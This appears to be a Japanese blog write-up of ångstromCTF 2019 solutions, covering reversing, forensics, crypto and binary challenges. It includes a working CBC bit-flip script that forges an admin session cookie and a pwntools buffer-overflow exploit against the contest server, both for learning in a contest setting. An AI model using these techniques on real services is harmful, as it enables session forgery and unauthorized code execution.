Twitter見てるとなんか沢山参加している人がいそうだったので、高校生向けなのかなーと思って遠慮していた ångstromCTF に挑戦してみました。今回もぼっち参加です。
サイトがかっちょいい!
今回も低得点帯の問題ばかりになってしまいましたが、備忘録も兼ねてwrite-up書いておきます。
4月20日 9:00 JST ~ 25日 9:00 JST の丸5日間開催されていたようです。私が「やってみよう」と思ったのが 4月23日 だったので、実質2日ちょいの参加になりました。
戦績はこちら。
630pt, 237位 / 1374チーム (1問以上解いたチーム数) でした。
今までに比べてRevを頑張った一方、Webが残念な感じです。
面白い問題が多かったとのことで、もうちょっとWebに時間が割けると良かったなーと。皆さんのwrite-upみて復習します。
いろんな形で自分(チーム)のグラフを見せてくれるのも面白い。いつ頃始めて、どう得点を取っていったかがわかるグラフ。自分のだけではなく他のチームのも見れます。
手応えとしては高校生育成目的ということもあり、解ける問題もあって嬉しかったです。また、最近他CTFで使った手法や勉強した内容が出てきたものもあり、解けるとめっちゃ嬉しかったです!!
一方、いままでは「うん、わからーん(ノ`△´)ノ 」と投げる問題が多かったので、「あ、これ見たことあるやつだ!」とか「こうやったら解けそう(なんだけど何故か通らない or 根気がなくてできない)」という問題がちょいちょい出てきて、ちょっと成長を感じるとともに悔しい問題も多かったです。。。
そもそもこのボリューム、一人では全然見きれなかった。でもチーム参加だと自分では何も解けなかったに違いないので、今後チーム参加するかというとそれはそれで悩ましい。
[Reversing] Intro to Rev (10pt)
Many of our problems will require you to run Linux executable files (ELFs). This problem will help you figure out how to do it on our shell server. Use your credentials to log in, then navigate to /problems/2019/intro_to_rev. Run the executable and follow its instructions to get a flag!
Hint
ELF files are run using ./filename. You might also want to look into the cd and ls commands if you aren't familiar with Linux.
shellにログインし、指定のpathに移動、実行ファイルを実行する。
$ cd /problems/2019/intro_to_rev team4639@actf:/problems/2019/intro_to_rev$ ls flag.txt intro_to_rev team4639@actf:/problems/2019/intro_to_rev$ ./intro_to_rev Welcome to your first reversing challenge! If you are seeing this, then you already ran the file! Let's try some input next. Enter the word 'angstrom' to continue: angstrom Good job! Some programs might also want you to enter information with a command line argument. When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string. To get the flag for this problem, run this file again with the arguments 'binary' and 'reversing' (don't put the quotes).
ということで、引数に binary, reversing を入れて再実行。
./intro_to_rev binary reversing Welcome to your first reversing challenge! If you are seeing this, then you already ran the file! Let's try some input next. Enter the word 'angstrom' to continue: angstrom Good job! Some programs might also want you to enter information with a command line argument. When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string. Good job, now go solve some real problems! actf{this_is_only_the_beginning}
[Reversing] I Like It (40pt)
Now I like dollars, I like diamonds, I like ints, I like strings. Make Cardi like it please.
/problems/2019/i_like_it
Hint
Pop open a dissassembler or decompiler and check out the comparisons.
提供される実行ファイルを実行してみます。
$ ./i_like_it I like the string that I'm thinking of:
何を考えているのか答えろ、だそうです。
radare2で解析。main関数にこのときの入力をチェックする箇所がありました。
| 0x004007ff bea1094000 mov esi, str.okrrrrrrr ; 0x4009a1 ; "okrrrrrrr" | 0x00400804 4889c7 mov rdi, rax | 0x00400807 e864feffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2) | 0x0040080c 85c0 test eax, eax | ,=< 0x0040080e 7414 je 0x400824
最初の問に対しては、直接文字列比較をしているので okrrrrrrr
が答え。
コレを入力すると、次の問 I like two integers that I'm thinking of (space separated):
が聞かれる。この部分の処理については下記を参照。
| 0x0040086e 8b55c8 mov edx, dword [local_38h] | 0x00400871 8b45cc mov eax, dword [local_34h] | 0x00400874 01d0 add eax, edx | 0x00400876 3d88000000 cmp eax, 0x88 ; 136 | ,=< 0x0040087b 751a jne 0x400897 | | 0x0040087d 8b55c8 mov edx, dword [local_38h] | | 0x00400880 8b45cc mov eax, dword [local_34h] | | 0x00400883 0fafc2 imul eax, edx | | 0x00400886 3dc70e0000 cmp eax, 0xec7 ; 3783 | ,==< 0x0040088b 750a jne 0x400897
上記を解読すると、下記連立方程式を満たすような a,b
の組み合わせが答え。
- a + b = 136
- a * b = 3783
3783 = 3 * 13 * 97
なので、 a, b = 39, 97
これらを入力すると、flagが出ました。
$ ./i_like_it I like the string that I'm thinking of: okrrrrrrr I said I like it like that! I like two integers that I'm thinking of (space separated): 39 97 I said I like it like that! Flag: actf{okrrrrrrr_39_97}
[Reversing] One Bite (60pt)
Whenever I have friends over, I love to brag about things that I can eat in a single bite. Can you give this program a tasty flag that fits the bill?
/problems/2019/one_bite
Hint
What else can be done with a single bite?
まずは提供されたバイナリを動かしてみます。
./one_bite Give me a flag to eat: cookie That didn't taste so good :(
クッキーはお気に召さない様子。
radare2でアセンブラを確認します。main関数の大事そうなところだけ。
| 0x004006e2 e899feffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream) | 0x004006e7 c745b4000000. mov dword [local_4ch], 0 | ,=< 0x004006ee eb1c jmp 0x40070c | .--> 0x004006f0 8b45b4 mov eax, dword [local_4ch] | :| 0x004006f3 4898 cdqe | :| 0x004006f5 0fb64405c0 movzx eax, byte [local_40h + rax] | :| 0x004006fa 83f03c xor eax, 0x3c | :| 0x004006fd 89c2 mov edx, eax | :| 0x004006ff 8b45b4 mov eax, dword [local_4ch] | :| 0x00400702 4898 cdqe | :| 0x00400704 885405c0 mov byte [rbp + rax - 0x40], dl | :| 0x00400708 8345b401 add dword [local_4ch], 1 | :| ; CODE XREF from main (0x4006ee) | :`-> 0x0040070c 8b45b4 mov eax, dword [local_4ch] | : 0x0040070f 4863d8 movsxd rbx, eax | : 0x00400712 488d45c0 lea rax, qword [local_40h] | : 0x00400716 4889c7 mov rdi, rax | : 0x00400719 e832feffff call sym.imp.strlen ; size_t strlen(const char *s) | : 0x0040071e 4839c3 cmp rbx, rax | `==< 0x00400721 72cd jb 0x4006f0 | 0x00400723 48c745b82008. mov qword [local_48h], str.HZGUcHTURWcUQc_SUR_cHSc_YcOU_WA ; 0x400820 ; "]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA" | 0x0040072b 488b55b8 mov rdx, qword [local_48h] | 0x0040072f 488d45c0 lea rax, qword [local_40h] | 0x00400733 4889d6 mov rsi, rdx | 0x00400736 4889c7 mov rdi, rax | 0x00400739 e852feffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2) | 0x0040073e 85c0 test eax, eax | ,=< 0x00400740 750c jne 0x40074e
どうやら入力値を 0x3c
と一文字ずつxorして、最終的に ]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA
と一致すれば良さそう。
#!/usr/bin/env python3 word = ']_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA' xor_code = 0x3c flag = b'' for w in word: flag += bytes([ord(w) ^ xor_code]) print(flag)
実行結果
$ python solve.py b'actf{i_think_im_going_to_be_sick}'
[Misc] Survey (10pt)
We have a short survey for you to fill out for a flag! Even though it's a single challenge, we encourage every individual to submit a response.
リンク先に飛ぶと、アンケートが。回答するとFlagが貰えました。
[Misc] The Mueller Report (20pt)
The redacted version of the Mueller report was finally released this week! There's some pretty funny stuff in there, but maybe the report has more beneath the surface.
Hint
You won't be able to use Ctrl+F to find this Russian secret, try some command line functions related to strings and searches instead.
DLできるファイルは full-mueller-report .pdf
。1.6MBもある。Hintにstrings
コマンドで行けるっぽいことが書いてあるので、そのまま実行。
$ strings full-mueller-report.pdf | grep actf{ actf{no0o0o0_col1l1l1luuuusiioooon}
[Misc] IRC (20pt)
We have an IRC channel, #angstromctf on freenode! Join us to ask questions, have fun, and get a flag.
IRCへのリンクがあるので、たどって #angstromctf チャネルにログイン。ログインすると、pinしてあるっぽいchannelの説明にflagが。
[Misc] Blank Paper (30pt)
Someone scrubbed defund's paper too hard, and a few of the bytes fell off.
DLできるのは壊れたpdf。問題文によるとこすりすぎてbyteがちょっと落ちてるらしいので、修復する必要がある。
バイナリを見てフォーマットを確認して・・・というのが良さそうだけども、解けている人が多かったのでWebのPDF修復ツールかなんかでできるのではないかとググったらあった。
ここにDLした壊れたファイルを投げると修復してくれ、PDFが見えるように。PDF内にFlagがありました。
[Misc] Paper Bin (40pt)
defund accidentally deleted all of his math papers! Help recover them from his computer's raw data.
Hint
File carving
DLするのは paper_bin.dat
$ file paper_bin.dat paper_bin.dat: data
これ7MBもある。
Hintの File carving
でググった所、Forensic関係の用語であることがわかった。
コレ関連でツールを探すと、scalpel
というのが使えそう。なんとkali linuxには標準装備で入っていたため、kaliで使ってみる。
まずはconfig (/etc/scalpel/scalpel.conf
) をいじって、可能性の有りそうなファイルフォーマットのコメントアウトを外し、解析対象とします。今回は画像系とdoc, pdfあたりを外しておきました。
事前に strings paper_bin.dat | grep {拡張子}
みたいな感じで探しておいて引っかかったのを対象にしても良いかもしれません。
$ scalpel paper_bin.dat -o output
処理が終わると、pdfファイルが20個対象で抽出されました。何かの論文っぽいものが多かったのですが、一つだけファイルが壊れてて見られないものがあり。コレをさっきの Blank Paper のときのサイトに投げると修復してくれ、こちらもPDF中にFalgがありました。
[Misc] Paper Trail (50pt)
Something is suspicious about defund's math papers. See if you can find anything in the network packets we've intercepted from his computer.
今度はpcapファイルがDLできる。paper_trail.pcapng
Wiresharkで開いて中身を確認してみる。幸い、75行しかありません。見てみると、IRCプロトコルのmessageに何やら毎回メッセージがplain textで書かれているようなので、pcapファイルをそのままstringコマンドで見てみます。
$ strings paper_trail.pcapng | grep ec2-18-209-123-192.compute-1.amazonaws.com :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :I have to confide in someone, even if it's myself F:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :my publications are all randomly generated :( :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :a :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :c :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :t Z:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :f *:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :{ :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :f :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :a :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :k R:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :e !:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :_ :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :m :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :a :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :t a:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :h 1:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :_ :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :p :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :a :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :p $,q:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :e $4B:defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :r :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :s :defund!~defund@ec2-18-209-123-192.compute-1.amazonaws.com PRIVMSG defund :}
縦読みするとflag。actf{fake_math_papers}
[Web] Control You (20pt)
Only those who give us the flag are exempt from our control.
Hint
Your browser executes code when you're viewing a web page. Is it possible to see that code?
リンク先に飛んでみると、やばいページ出てきた.
この背景、うねうね動いてる。目と脳に悪すぎる…。催眠術とか言ってるし。胎教にもすこぶる悪そう。
このサイトのソースを見てみると、function_stop()
にflagが。
<!DOCTYPE html> <html> <head> <title>Hypnotization</title> </head> <body style="background: url(https://66.media.tumblr.com/15d3f53cb56f04dba66dfd53aed24b7f/tumblr_o87xi4XjVB1twd8ddo1_400.gif);"> <div style="text-align: center; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: red; font-family: 'Comic Sans MS', sans-serif;"> <h1 style="background-color: blue;">Hypnotization in progress...</h1> <h2 style="color: green; background-color: yellow;">To stop hypnotization enter the flag below:</h2> <input type="password" id="flag" style="font-size: 3em;"><br> <button type="button" onclick="stop()" style="background: blue; border: 0.5em solid red; font-size: 2em; font-family: 'Comic Sans MS', sans-serif; margin-top: 1em; cursor: pointer;">Stop Hypnotization</button> </div> <script> function stop() { if (flag.value === "actf{control_u_so_we_can't_control_you}") { document.body.style.background = "red"; } } </script> </body> </html>
ちゃんとサイトにフラグ入れたら止まった。良かったよかった。
[Crypto] Classy Cipher (20pt)
Every CTF starts off with a Caesar cipher, but we're more classy.
DLできるスクリプトは classy_cipher.py
from secret import flag, shift def encrypt(d, s): e = '' for c in d: e += chr((ord(c)+s) % 0xff) return e assert encrypt(flag, shift) == ':<M?TLH8<A:KFBG@V'
これはシフト暗号。シフト暗号の結果が :<M?TLH8<A:KFBG@V
シフトの数が不明ですが、たかだか256個なので256個分全部ずらしてみてflagが出るか確認。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- cipher = ':<M?TLH8<A:KFBG@V' def decrypt(d, s): e = '' for c in d: e += chr((ord(c)+s) % 0xff) return e for shift in range(0xff): plain = '' for c in cipher: plain += decrypt(c, shift) if 'actf{' in plain: print(plain) break
実行結果
$ python solve.py actf{so_charming}
[Crypto] Really Secure Algorithm (30pt)
I found this flag somewhere when I was taking a walk, but it seems to have been encrypted with this Really Secure Algorithm!
Hint
Now that I think about it, that's probably not what RSA stands for...
提供されるファイルは以下 really_secure_algorithm.txt
p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889 q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493 e = 65537 c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349
典型的なRSA暗号の条件が与えられている。
n = p * q d = inverse(e, (p-1)*(q-1)) plain = pow(c, d, n)
で求められるので、平文もこの条件から求まる。
#!/usr/bin/env python3 from Crypto.Util.number import inverse p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889 q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493 e = 65537 c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349 n = p * q d = inverse(e, (p-1)*(q-1)) plain = pow(c, d, n) flag = bytes.fromhex(hex(plain)[2:]).decode('ascii') print(flag)
実行結果
$ python solve.py actf{really_securent_algorithm}
[Crypto] Half and Half (50pt)
Mm, coffee. Best served with half and half!
提供されるファイルは以下。half_and_half.py
from secret import flag def xor(x, y): o = '' for i in range(len(x)): o += chr(ord(x[i])^ord(y[i])) return o assert len(flag) % 2 == 0 half = len(flag)//2 milk = flag[:half] cream = flag[half:] assert xor(milk, cream) == '\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"'
偶数文字数の平文(flag
)に対して、前半(milk
)と後半(cream
)にわけ、milkとcreamのxorをとったものが暗号文。
パット見求まらなさそうだけども、flagのフォーマットは actf{******}
であること、暗号文の長さからflagは24文字であることが推測できるので、半分求まりそう。
#!/usr/bin/env python3 cipher = b'\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"' # flag = b'actf{******************}' milk = b'actf{******}' cream = b'' # !! cipherが12文字ってことは、flagは24文字じゃん! for i in range(len(cipher)): cream += bytes([milk[i]^cipher[i]]) print(cream) flag = milk[:11] + bytes([cream[11]]) + cream[:11] + bytes([milk[11]]) print(flag)
実行結果
$ python solve.py b'actf{******_taste:\x1a+# +}'
ふーむ。この中で確実な部分は actf{******_taste******}
。問題文と不明な部分の文字数からエスパーして、前半にcoffee
を当てはめて再度スクリプトを実行してみると・・・
$ python solve.py b'actf{coffee_tastes_good}'
うむ。これっぽい。この方法が合っている気はあまりしないが、とりあえずflagは出た。
[Crypto] Runes (70pt)
The year is 20XX. ångstromCTF only has pwn challenges, and the winner is solely determined by who can establish a socket connection first. In the data remnants of an ancient hard disk, we've recovered a string of letters and digits. The only clue is the etching on the disk's surface: Paillier.
提供されるのは runes.txt
n: 99157116611790833573985267443453374677300242114595736901854871276546481648883 g: 99157116611790833573985267443453374677300242114595736901854871276546481648884 c: 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869
問題文の最後の謎の文字列 Paillier
を検索してみると、 Paillier暗号、というのが存在するらしい。
Paillier暗号 - Wikipedia
Paillier暗号とは Pascal Paillier が1999年に提案した公開鍵暗号方式で、m1 の暗号文と m2 の暗号文から m1 + m2 の暗号文を計算出来る(加法準同型性)という性質を満たす。 RSA暗号やElGamal暗号など、m1 の暗号文と m2 の暗号文から積 m1m2 の暗号文を計算できる(乗法準同型性)方式は数多いが、加法準同型性を満たす方式はPaillier暗号などごく少数しか知られていない。
まずは n を素因数分解しておきます。今回も msieve
ライブラリを使用しました。
$ ./msieve -q -v -e 99157116611790833573985267443453374677300242114595736901854871276546481648883 (中略) p39 factor: 310013024566643256138761337388255591613 p39 factor: 319848228152346890121384041219876391791 elapsed time 00:02:26
ということで p, q が計算できました。
あとは、以下のページで紹介されていた検証コードを書き換えて、与えられた条件から平文を復号します。
公開鍵暗号 Paillier暗号の勉強 - ぺんぎんさんのおうち
#!/usr/bin/env python3 # this code has the following in reference. # https://ykm11.hatenablog.com/entry/2018/10/19/205950 import math n = 99157116611790833573985267443453374677300242114595736901854871276546481648883 g = 99157116611790833573985267443453374677300242114595736901854871276546481648884 c = 2433283484328067719826123652791700922735828879195114568755579061061723786565164234075183183699826399799223318790711772573290060335232568738641793425546869 p = 310013024566643256138761337388255591613 q = 319848228152346890121384041219876391791 def egcd(a, b): if a == 0: return (b, 0, 1) else: g1, y, x = egcd(b % a, a) return (g1, x - (b // a) * y, y) def modinv(a, m): g1, x, y = egcd(a, m) if g1 != 1: raise Exception('modular inverse does not exist') else: return x % m def L(u): return (u-1)//n def LMD(p, q): # p and q are respectively prime g = math.gcd(p-1, q-1) return (p-1)*(q-1)//g def dec(c): s = L(pow(c, LMD(p, q), n**2)) t = L(pow(g, LMD(p, q), n**2)) return s * modinv(t, n) % n # main assert p*q == n plain = dec(c) flag = bytes.fromhex(hex(plain)[2:]).decode('ascii') print('flag: ' + flag)
実行結果
$ python solve.py flag: actf{crypto_lives}
[Crypto] Secret Sheep Society (120pt)
The sheep are up to no good. They have a web portal for their secret society, which we have the source for. It seems fairly easy to join the organization, but climbing up its ranks is a different story.
リンク先のサイトはこんな感じ。羊可愛い。
適当なusernameでログインするとこんなページが出てきます。
DLできるzipファイルを解凍するとこんな感じ。
$ tree -L 2 secret_sheep_society secret_sheep_society ├── __init__.py ├── app.py ├── manager.py └── templates └── index.html
htmlの方を見てみると、app.pyの [POST] /enter
で設定する session
session = { 'admin': False, 'handle': handle }
の admin
が True だとFlagを表示してくれるみたいです。
でこのsessionですが、上記の通り admin は handle に関わらず(handle = admin
にしても)、必ずFalseが設定されるので、ここを無理やり True に書き換えてやる必要があります。
sessionは Manager.unpack(tokne)
で得られるそうなので、 manager.py
を見てみると、AESのCBCモードが使われています。ちなみに token は cookie に保存されているので取り出し可能です。
AES, CBC, 平文のフラグ反転… なんかこれもやったばかりの気がします…!
まだ write-up 上げていませんが、 picoCTF2018の Secire Logon。このときのコードをベースに書いてみました。
CBCモードの性質上、復号は ciphertext xor iv から始まり、暗号文の先頭ブロックから処理されていきます。そして暗号文・もしくはivをビット反転すると、復号時にその反転は平文に伝播します。
参考:暗号利用モード - Wikipedia
これらの条件から、暗号文にくっついてきている iv を書き換えることで、平文の admin: false
を admin: true
に書き換えることができそうです!
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import base64 sample_token = 'VWDOK8Y9LVWUhh6MHcQdaybS6/As8YmpxgrearRPWtNCFtYnWzK0VB40txh5J9Cj' flip_start_index = 10 # sample_json = {"admin": false, "handle": ""} # attack_json = {"admin": true, "handle": ""} before = 'false,' after = 'true, ' decoded_token = base64.b64decode(sample_token) flipped = [] for i in range(len(before)): flipped.append(bytes([decoded_token[flip_start_index+i] ^ ord(before[i]) ^ ord(after[i])])) flipped_arr = [] for i in range(len(decoded_token)): if i < flip_start_index or i >= flip_start_index+len(before): flipped_arr.append(bytes([decoded_token[i]])) else: flipped_arr.append(flipped[i-(flip_start_index)])
実行結果
$ python solve.py b'flipped_token: VWDOK8Y9LVWUhgyfBNJUZybS6/As8YmpxgrearRPWtNCFtYnWzK0VB40txh5J9Cj'
この書き換え後の token を cookie にセットし直して /
のページをリロードするとflagが取れました!٩(๑❛ᴗ❛๑)۶
[Binary] Aquarium (50pt)
Here's a nice little program that helps you manage your fish tank.
Run it on the shell server at /problems/2019/aquarium/ or connect with nc shell.actf.co 19305.
Hint
What does the gets function do?
提供されるのは実行ファイルとソース。指定のshell server上にはflag.txtが存在するので、flagをgetするにはlocalではなくshell server上か、nc で接続して実行する必要がありそう。
aquarium.c
#include <stdlib.h> #include <stdio.h> #include <string.h> void flag() { system("/bin/cat flag.txt"); } struct fish_tank { char name[50]; int fish; int fish_size; int water; int width; int length; int height; }; struct fish_tank create_aquarium() { struct fish_tank tank; printf("Enter the number of fish in your fish tank: "); scanf("%d", &tank.fish); getchar(); printf("Enter the size of the fish in your fish tank: "); scanf("%d", &tank.fish_size); getchar(); printf("Enter the amount of water in your fish tank: "); scanf("%d", &tank.water); getchar(); printf("Enter the width of your fish tank: "); scanf("%d", &tank.width); getchar(); printf("Enter the length of your fish tank: "); scanf("%d", &tank.length); getchar(); printf("Enter the height of your fish tank: "); scanf("%d", &tank.height); getchar(); printf("Enter the name of your fish tank: "); char name[50]; gets(name); strcpy(name, tank.name); return tank; } int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); struct fish_tank tank; tank = create_aquarium(); if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) { printf("Your fish tank has overflowed!\n"); return 1; } printf("Nice fish tank you have there.\n"); return 0; }
ソースを見た所、falg()
関数をcallする必要があるが、どこからも呼ばれていない。どこかでflag関数のアドレスに飛ばしてやる必要がありそう。
ひとまず動作を確認してみます。
$ ./aquarium Enter the number of fish in your fish tank: 10 Enter the size of the fish in your fish tank: 20 Enter the amount of water in your fish tank: 50000000 Enter the width of your fish tank: 30 Enter the length of your fish tank: 20 Enter the height of your fish tank: 40 Enter the name of your fish tank: fishtank Your fish tank has overflowed!
入力する箇所が沢山。そして最後の条件チェックで水が溢れてしまいました。
今回BufferOverflowの脆弱性が、最後の水槽の名前の入力でありそうです。buffer size が 50 に対して、strcpyを行っています。
まずは関数のアドレス確認。今回もradare2使ってます。
[0x0040139f]> afl 0x00401030 1 6 sym.imp.strcpy 0x00401040 1 6 sym.imp.puts 0x00401050 1 6 sym.imp.setresgid 0x00401060 1 6 sym.imp.system 0x00401070 1 6 sym.imp.printf 0x00401080 1 6 sym.imp.getchar 0x00401090 1 6 sym.imp.gets 0x004010a0 1 6 sym.imp.getegid 0x004010b0 1 6 sym.imp.setvbuf 0x004010c0 1 6 sym.imp.__isoc99_scanf 0x00401110 4 33 sym.deregister_tm_clones 0x00401140 4 57 -> 51 sym.register_tm_clones 0x004011b6 1 19 sym.flag 0x004011c9 1 470 sym.create_aquarium 0x0040139f 4 193 main
目的の sym.flag は 0x004011b6
ですね。
文字列入力部分は sym.create_aquarium 関数。name部分の入力bufferを見てみると
| 0x00401313 e858fdffff call sym.imp.printf ; int printf(const char *format) | 0x00401318 488d8570ffff. lea rax, qword [local_90h]
ということで local_90h
=> rbp-0x90
に格納されるようです。
ここに関数の戻りアドレスなどのbufferを足して 0x98 を適当な値で埋め、flag関数のアドレスを送りつけます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = 'shell.actf.co' port = 19305 flag_addr = 0x004011b6 buffer = 0x98 def send_attack_name(attack): r = remote(host, port) print(r.recvuntil(b'Enter the number of fish in your fish tank: ')) r.sendline(b'1') print(r.recvuntil(b'Enter the size of the fish in your fish tank: ')) r.sendline(b'1') print(r.recvuntil(b'Enter the amount of water in your fish tank: ')) r.sendline(b'1') print(r.recvuntil(b'Enter the width of your fish tank: ')) r.sendline(b'10') print(r.recvuntil(b'Enter the length of your fish tank: ')) r.sendline(b'10') print(r.recvuntil(b'Enter the height of your fish tank: ')) r.sendline(b'10') print(r.recvuntil(b'Enter the name of your fish tank: ')) r.sendline(attack) res = r.recvall() print(res) r.close() if b'actf{' in res: return True return False attack = b'a'*buffer + p32(flag_addr) print(attack) send_attack_name(attack)
実行結果
$ python solve.py b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb6\x11@\x00' [+] Opening connection to shell.actf.co on port 19305: Done b'Enter the number of fish in your fish tank: ' b'Enter the size of the fish in your fish tank: ' b'Enter the amount of water in your fish tank: ' b'Enter the width of your fish tank: ' b'Enter the length of your fish tank: ' b'Enter the height of your fish tank: ' b'Enter the name of your fish tank: ' [+] Recieving all data: Done (77B) [*] Closed connection to shell.actf.co port 19305 b'actf{overflowed_more_than_just_a_fish_tank}\nSegmentation fault (core dumped)\n'
感想
高校生ってこんな難しいことしてるんだなー!私が高校生の時は絶対1問も解けなかったぞ!というかプログラム触ったこともなかったぞ!PCでやることと言えばゲーム(TRPG)だったぞ!すごい!
個人的には、[Crypto] Secret Sheep Society (120pt) が、picoCTF 2018 でやったばかりの問題の応用だったので、これが解けたのがめっちゃ嬉しかった(๑•̀ㅂ•́)و✧
逆に、[Binary] Chain of Rope (80pt), [Binary] Pie Shop (100pt), [Binary] Purchases (120pt) あたり(全部 Binary だ・・・)あたりは、最近やったのが使えそうと思いつつ応用力が足りずflagにたどり着けなかったのが残念でした。
あとは、初のLisp ([Misc] Lithp (60pt)) だったのですが、わからないなりに頑張って調べてpython化してみたけど結局flagにはたどり着かず。こちらも残念。Lisp実行環境を揃えてやったほうが早かったかも。しかしLisp読み辛…。括弧の数とか数えられんし!アセンブラと同じくらいわからん。
サイトがちょくちょく落ちていたようですが、私の活動時間が皆さんとずれまくっていたおかげ(?)で一度も遭遇しませんでした。これはラッキー。
しかし私も軽いBF回してたし(回せという問題が確かあったはず)、CTFのインフラ運用大変そうな話をちょくちょくTLで見かけるので、大会のインフラ面の運用どうやってるのかは気になる。
何にせよ、私は今回面白く勉強になる問題が多かったです!運営の皆さん、参加者の皆さんお疲れ様でした!
I enjoy this event and challenges! Thank you very much for your administration.